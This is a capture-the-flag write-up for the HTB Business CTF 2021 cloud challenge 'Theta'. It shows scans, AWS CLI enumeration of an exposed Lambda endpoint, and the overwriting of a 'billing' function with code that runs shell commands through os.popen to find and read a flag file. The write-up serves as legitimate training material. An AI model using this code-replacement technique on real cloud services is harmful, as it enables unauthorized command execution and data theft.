HTB Business CTF 2021 - Theta

-

Hack The Box (HTB) hosted its very first "corporate only" CTF this past weekend and called it HTB Business CTF 2021. Participants had to create new accounts directly linked to their employer, teams were capped at 10, and the challenges were mostly intermediate to hard on the difficulty scale. 

HTB Business CTF 2021

Sadly, I was alone on my team and only had the first day of the event to devote. So, I decided to focus only on the cloud challenges and I was able to solve the first one. So without further ado...

Let's get into it.

Theta

We're in the practice of open source cloud services and thinks that the deployment is secure so far. As a part of a pentest engagement, can you test and report the vulnerabilities?

I began this challenge with a port scan:

nmap -p- -sV -Pn --open -iL target.txt -oA nmap-theta_full --stats-every 120s
Nmap scan report for 10.129.171.200
Host is up (0.043s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
4566/tcp open  kwtc?
1 service unrecognized despite returning data.<snip>

I then used curl to connect to 4566/tcp:

curl -k https://10.129.171.200:4566/
{"status": "running"}

To be thorough, I also ran a content discovery scan using ffuf which found the "health" resource:

curl -k https://10.129.171.200:4566/health &&echo
{"services": {"lambda": "running", "logs": "running", "cloudwatch": "running"}, "features": {"persistence": "disabled", "initScripts": "initialized"}}

We can see that lambda was running, and because this was a cloud challenge called "Theta," I safely assumed that a lambda function would be our primary target. 

Using the AWS cli, I set the --endpoint-url to the target and checked for functions:

aws --endpoint-url=http://10.129.171.200:4566 lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "billing",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing",
            "Runtime": "python3.8",
            "Role": "arn:aws:iam::012351735804:role/billing_mgr",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 320,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2021-07-23T13:08:23.100+0000",
            "CodeSha256": "axGTZ4HEPBRMdbOYcTXdsnAjW6fSe3mBLZIugCLSsEc=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "fa4b2893-5baf-4898-abf0-a8f718ec56e4",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}

Then, I wanted to learn more about the function so I used the get-function command:

aws --endpoint-url=http://10.129.171.200:4566 lambda get-function --function-name billing
{
    "Configuration": {
        "FunctionName": "billing",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing",
        "Runtime": "python3.8",
        "Role": "arn:aws:iam::012351735804:role/billing_mgr",
        "Handler": "lambda_function.lambda_handler",
        "CodeSize": 320,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2021-07-23T13:08:23.100+0000",
        "CodeSha256": "axGTZ4HEPBRMdbOYcTXdsnAjW6fSe3mBLZIugCLSsEc=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "fa4b2893-5baf-4898-abf0-a8f718ec56e4",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://10.129.171.200:4566/2015-03-31/functions/billing/code"
    },
    "Tags": {}
}

I then pointed my browser at the code location which prompted me to download lambda_archive.zip. I saved it locally, unzipped it, and reviewed the contents as seen below:

cat lambda_function.py 
import json

def lambda_handler(event, context):
# Billing api logic
    return {
        'statusCode': 200,
        'body': json.dumps('Still in development')
    }

As seen in the function, not a lot was going on. I manually poked at this a bit but then I wanted to see if I could simply create a new function. Though I could do this, I was having issues getting it to successfully respond when I was invoking it. 

My next thought was to simply update the existing function. 

To test this, I modified the existing lambda_function.py to change the 'Still in development' string to 'strupo,' zipping it up, and running the following command to update the function:

aws --endpoint-url=http://10.129.171.200:4566/ lambda update-function-code --function-name billing --publish --zip-file fileb://lambda_archive.zip

Then, I ran the following command to validate:

aws --endpoint-url=http://10.129.171.200:4566 lambda invoke --function-name billing outfile && cat outfile
{
    "StatusCode": 200,
    "LogResult": "",
    "ExecutedVersion": "$LATEST"
}

{"body":"\"strupo\"","statusCode":200}

Success! 

After a good amount of fiddling with python and lambda in an attempt to establish a reverse shell, I gave up and settled on the following:

cat lambda_function.py 
import os
import json
        
def lambda_handler(event, context):
    message = os.popen("find / -name *flag* 2>/dev/null").read() 
    return { 
        'message' : message
    }

This gave me the location of the flag as seen below:

aws --endpoint-url=http://10.129.171.200:4566 lambda invoke --function-name billing outfile && cat outfile
{
    "StatusCode": 200,
    "LogResult": "",
    "ExecutedVersion": "$LATEST"
}
{"message":"/opt/code/localstack/.venv/lib/python3.7/site-packages/dns/__pycache__/flags.cpython-37.pyc\n/opt/code/localstack/.venv/lib/python3.7/site-packages/dns/flags.py\n/opt/code/localstack/.venv/lib/python3.7/site-packages/hyperframe/__pycache__/flags.cpython-37.pyc\n/opt/code/localstack/.venv/lib/python3.7/site-packages/hyperframe/flags.py\n/opt/flag.txt\n/usr/local/lib/node_modules/npm/node_modules/colors/lib/system/has-flag.js\n/usr/local/lib/node_modules/npm/node_modules/has-flag\n/usr/lib/bash/fdflags\n/sys/devices/platform/serial8250/tty/ttyS15/flags\n/sys/devices/platform/serial8250/tty/ttyS6/flags\n/sys/devices/platform/serial8250/tty/ttyS23/flags\n/sys/devices/platform/serial8250/tty/ttyS13/flags\n/sys/devices/platform/serial8250/tty/ttyS31/flags\n/sys/devices/platform/serial8250/tty/ttyS4/flags\n/sys/devices/platform/serial8250/tty/ttyS21/flags\n/sys/devices/platform/serial8250/tty/ttyS11/flags\n/sys/devices/platform/serial8250/tty/ttyS2/flags\n/sys/devices/platform/serial8250/tty/ttyS28/flags\n/sys/devices/platform/serial8250/tty/ttyS0/flags\n/sys/devices/platform/serial8250/tty/ttyS18/flags\n/sys/devices/platform/serial8250/tty/ttyS9/flags\n/sys/devices/platform/serial8250/tty/ttyS26/flags\n/sys/devices/platform/serial8250/tty/ttyS16/flags\n/sys/devices/platform/serial8250/tty/ttyS7/flags\n/sys/devices/platform/serial8250/tty/ttyS24/flags\n/sys/devices/platform/serial8250/tty/ttyS14/flags\n/sys/devices/platform/serial8250/tty/ttyS5/flags\n/sys/devices/platform/serial8250/tty/ttyS22/flags\n/sys/devices/platform/serial8250/tty/ttyS12/flags\n/sys/devices/platform/serial8250/tty/ttyS30/flags\n/sys/devices/platform/serial8250/tty/ttyS3/flags\n/sys/devices/platform/serial8250/tty/ttyS20/flags\n/sys/devices/platform/serial8250/tty/ttyS10/flags\n/sys/devices/platform/serial8250/tty/ttyS29/flags\n/sys/devices/platform/serial8250/tty/ttyS1/flags\n/sys/devices/platform/serial8250/tty/ttyS19/flags\n/sys/devices/platform/serial8250/tty/ttyS27/flags\n/sys/devices/platform/serial8250/tty/ttyS17/flags\n/sys/devices/platform/serial8250/tty/ttyS8/flags\n/sys/devices/platform/serial8250/tty/ttyS25/flags\n/sys/devices/virtual/net/lo/flags\n/sys/devices/virtual/net/eth0/flags\n/sys/module/scsi_mod/parameters/default_dev_flags\n/proc/sys/kernel/acpi_video_flags\n/proc/sys/kernel/sched_domain/cpu0/domain0/flags\n/proc/sys/kernel/sched_domain/cpu1/domain0/flags\n/proc/kpageflags\n"}

Then, it was simply a matter of changing the find command to cat /opt/flag.txt, zip up the new script, upload it, and then run it again as documented below:

nano lambda_function.py 

zip lambda_archive.zip lambda_function.py updating: lambda_function.py (deflated 27%)

aws --endpoint-url=http://10.129.171.200:4566/ lambda update-function-code --function-name billing --publish --zip-file fileb://lambda_archive.zip
{
    "FunctionName": "billing",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing",
    "Runtime": "python3.8",
    "Role": "arn:aws:iam::012351735804:role/billing_mgr",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 308,
    "Description": "",
    "Timeout": 3,
    "LastModified": "2021-07-23T17:59:09.593+0000",
    "CodeSha256": "yTfxdWG+GklUTtL8AxsKWkXiSh/gLcXw1/aV/pVnVks=",
    "Version": "15",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "33527601-85e1-4f7d-b8aa-cc67c536ef8e",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}

aws --endpoint-url=http://10.129.171.200:4566 lambda invoke --function-name billing outfile && cat outfile
{
    "StatusCode": 200,
    "LogResult": "",
    "ExecutedVersion": "$LATEST"
}
{"message":"HTB{upd4t3s_4r3_n0_m0r3_s3cur3}\n"} 

Conclusion

In the end, I wish I had more time and an actual team to take on the 40+ challenges HTB put out. Even though I had to trade in my corporate contact information, I'm really looking forward to the next one because they curate and create such high quality content. 

The other two cloud challenges that were available at the time of this writing were Supply and Kube. I took a crack at both of them but I was unable to solve them by the end of Friday. 

Supply was an S3 challenge that I felt like I was close to solving it but I couldn't get the target to run my script.  

Kube was a kubernetes target which was totally new to me. I had some interesting data from various APIs but I could not get much further than that. I'm really looking forward to the write-ups for this and the Supply challenges. 

Thanks for reading!

@strupo_

Find us on twitter: @teamWTG

Popular posts from this blog

The Audacity of Some CTFs

-
Image
2021 Update : This is currently the most read post on our blog. Chances are that you are here because you are working on an audio challenge. If you see something looking like a digital signal, be sure to also check out our Radioactive Man write-up. I have stumbled across a few audio files while competing in CTFs over the last few years and I thought covering spectrograms would make a nice and quick blog post. Flags can manifest themselves in many ways when dealing with media files. One of the most common ways I have seen is by hiding them, or clues to find them, in the file's audio spectrogram. According to wikipedia: "a spectrogram is a visual representation of the spectrum of frequencies of sound, or other signals, as they vary with time." Basically, it is a method to visualize sound and signals. I first learned that you can embed hidden messages and images in a spectrogram when a friend showed me an image from an Aphex Twin song some years ago. Equation by ...
Read more

2020 HTH CTF - Cloud Challenges

-
Image
Last weekend, @strupo_ joined team NiSec to participate in the HTH 2020 CTF  and together they got on the podium in third place! 2020 HTH CTF - Final Scoreboard The challenge categories included:  Cloud Crypto Forensics Kali 101  Misc Pwnables Recon Reverse Engineering Steganography Web Recently, strupo_ was fortunate enough to remotely attend  Breaching the Cloud Perimeter w/Beau Bullock . As cloud testing is still very new to him, and this blog tends to focus on introductory concepts and challenges, we thought it would be appropriate to try and tackle all of the cloud challenges in this post. Okay, let's get into it. The Cloud category had three challenges: BucketList (100) OhSnap! (150) Serving Less (250) BucketList Hey guys! I set up an AWS bucket for this year's hth that we can use to store our flags for the ctf. I think I made the bucket private but I'm not very good at this cloud stuff. Send me a message if I need to edit the permissions. Hint:...
Read more

DEF CON 26 - IoT Village - SOHOpelessly Broken CTF

-
Image
Welcome Thrillhouse Group competed in the SOHOpelessly Broken CTF in the IoT Village at DEF CON 26 this year. None of the actual team, aside from myself, was able to make it this year. So, I requested the help of my colleagues and "Mitch" was keen to help. Together, we reached 14th place by the end of Saturday with 9k points. WTG's Score by End of Saturday As you can see, we had a couple issues submitting flags. For this CTF, flags were typically the MD5 of something under /dev or something like a clear text password. When our flags failed to submit, we worked with the organizers and chalked it up to someone modifying the flag files so that the MD5 would change. These issues had no impact on our score, accomplished nothing, was a jerk-move, and as can be seen below; was against the rules: IoT CTF Rules and Hints The CTF consisted of 22 challenges based on the 22 devices seen below: IoT CTF Device Challenges WTG successfully completed the challe...
Read more